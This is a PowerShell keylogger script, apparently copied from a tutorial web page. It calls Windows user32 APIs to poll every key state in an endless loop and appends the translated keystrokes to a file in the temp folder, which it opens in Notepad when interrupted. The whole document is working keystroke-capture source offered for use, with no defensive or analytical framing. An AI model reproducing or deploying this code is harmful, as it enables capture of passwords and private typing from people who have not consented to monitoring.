

```

# source https://merabheja.com/create-simple-keylogger-windows/

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
    # Signatures for API Calls
    $signatures = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode,
byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff,
uint wFlags);
"@

    # load signatures and make members available
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32'
    -Namespace API -PassThru

    # create output file
    $null = New-Item -Path $Path -ItemType File -Force

    try
    {
        Write-Host 'Recording key presses. Press CTRL+C to see
results.' -ForegroundColor Red

        # create endless loop. When user presses CTRL+C, finally-block
        # executes and shows the collected key presses
        while ($true) {
            Start-Sleep -Milliseconds 40

            # scan all ASCII codes above 8
            for ($ascii = 9; $ascii -le 254; $ascii++) {
                # get current key state
                $state = $API::GetAsyncKeyState($ascii)

                # is key pressed?
                if ($state -eq -32767) {

```

```

    $null = [console]::CapsLock

    # translate scan code to real code
    $virtualKey = $API::MapVirtualKey($ascii, 3)

    # get keyboard state for virtual keys
    $kbstate = New-Object Byte[] 256
    $checkkbstate = $API::GetKeyboardState($kbstate)

    # prepare a StringBuilder to receive input key
    $mychar = New-Object -TypeName System.Text.StringBuilder

    # translate virtual key
    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate,
$mychar, $mychar.Capacity, 0)

    if ($success)
    {
        # add key to logger file
        [System.IO.File]::AppendAllText($Path, $mychar,
[System.Text.Encoding]::Unicode)
    }
}
}
}

finally
{
    # open logger file in Notepad
    notepad $Path
}
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

```